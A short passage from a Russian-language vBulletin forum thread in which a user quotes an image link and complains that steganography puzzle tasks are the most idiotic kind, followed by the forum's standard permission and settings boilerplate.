По умолчанию

"https://rosnadzorcom.ru/1.png" ненавижу стегану!!! Она мне еще 10 лет назад мозг сломала на dareyoumind.net. На мой взгляд - самое идиотичный таск
nullbyte вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot